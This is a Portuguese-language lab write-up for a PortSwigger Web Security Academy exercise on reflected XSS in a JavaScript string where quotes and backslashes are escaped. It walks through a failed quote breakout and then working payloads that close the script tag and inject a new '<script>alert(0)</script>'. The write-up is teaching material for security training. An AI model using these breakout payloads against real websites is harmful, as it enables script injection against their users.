> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# XSS em uma String JavaScript com Apóstrofo e Barra Invertida Escapados

Notas sobre XSS em uma String JavaScript com Apóstrofo e Barra Invertida Escapados para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e remediati

### XSS refletido em uma string JavaScript com aspas simples e barra invertida escapadas

XSS refletido no recurso de rastreamento de termos de pesquisa. O valor refletido é inserido em uma string JavaScript; apóstrofos simples e barras invertidas foram escapados, dificultando a fuga.

Objetivo

* Saia da string JavaScript escapada e chame `alert()`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b20849c7386445f502bcda99a59c69db13fefbc1%2F%7BB4BF6BF3-E865-4CA6-93C3-77F303A56C58%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Observações atuais

* Se `teste` é enviado, o valor é armazenado no `searchTerm` variável do script.
* Tentativa de introduzir uma nova variável:/ `teste'; var=test='thisIsATest`/ → Observa-se que aspas e barras invertidas () são injetadas/presentes e impedem a injeção direta.

```bash
teste'; var=test='thisIsATest
```

* Basta inserir a tag de fechamento do script para encerrar o contexto do script: `</script>`

```javascript
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8178c1763e714af16e1c99e1f1e64532d3c7287f%2F%7B4896DDCD-7438-4CDB-8BCD-A2182B9B0377%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Após o fechamento, texto HTML simples pode ser renderizado: `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01e8b24c7ccb11208295c9e8aef660a44a4ce3e2%2F%7B48AD1C5D-80B0-4D32-97C0-65A58F29B55B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* E, por fim, é possível executar um `alerta` adicionando um novo `<script>` após o fechamento: `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e61bc34ce9d843b0e2a120f26623d2a3c09900d8%2F%7BC137BE47-B233-47C6-9F68-398E189107DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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